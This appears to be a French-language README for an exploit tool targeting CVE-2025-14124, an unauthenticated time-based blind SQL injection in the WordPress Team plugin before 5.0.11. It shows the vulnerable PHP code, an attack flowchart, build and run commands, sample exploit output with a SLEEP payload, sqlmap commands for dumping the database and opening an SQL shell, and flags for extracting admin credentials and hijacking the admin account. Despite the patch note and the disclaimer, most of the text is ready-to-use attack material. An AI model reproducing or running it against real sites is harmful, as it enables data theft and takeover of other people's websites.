
Injection SQL non authentifiée (aveugle basée sur le temps)
Auteur : Hyun Chiya
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Versions affectées | < 5.0.11 |
| Type de vulnérabilité | Injection SQL non authentifiée (aveugle basée sur le temps) |
| Sévérité | Élevée |
Le plugin WordPress Team ne nettoie et n'échappe pas correctement le paramètre search avant de l'utiliser dans une instruction SQL via une action AJAX disponible pour les utilisateurs non authentifiés, ce qui conduit à une injection SQL.
Le code vulnérable se trouve dans app/Controllers/Frontend/Ajax/LoadMore.php :
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problème : $wpdb->esc_like() n'échappe que les caractères génériques LIKE, PAS les métacaractères d'injection SQL.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam] doit existergo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)Lors de l'utilisation de --dump, l'outil extraira :
Remarque : L'extraction des données est lente en raison de la nature de l'injection SQL aveugle basée sur le temps (~5 à 15 minutes pour une extraction complète).
--create-admin)Tente de modifier le mot de passe admin existant via une instruction SQL UPDATE.
⚠️ Important : Ce mode nécessite la prise en charge des requêtes empilées (stacked queries), généralement désactivée dans PHP+MySQL. Si les requêtes empilées ne sont pas prises en charge, utilisez
--dumppour extraire les identifiants à la place, ou utilisezsqlmap --sql-shellpour exécuter directement l'UPDATE.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
Pour une exploitation avancée, vous pouvez utiliser sqlmap après avoir confirmé la vulnérabilité :
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ IMPORTANT : Mettez à jour le plugin WordPress Team vers la version 5.0.11 ou une version ultérieure, où la vulnérabilité a été corrigée avec un échappement SQL approprié via
$wpdb->prepare().
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez-le de manière responsable.
Hyun Chiya
| Argument | Description |
|---|
-u | URL WordPress cible (requis) |
--page-url | URL de la page contenant le shortcode tlpteam |
--delay | Secondes de SLEEP pour la détection (défaut : 1) |
--dump | Extrait les informations de la base de données et les identifiants admin WordPress |
--create-admin | Tente de détourner le compte admin (nécessite des requêtes empilées) |
--admin-user | Nom d'utilisateur pour le détournement admin (défaut : pwned_admin) |
--admin-pass | Mot de passe pour le détournement admin (défaut : Pwned123!) |
--check-only | Vérifie uniquement si le plugin est actif |
--timeout | Délai d'expiration des requêtes en secondes (défaut : 120) |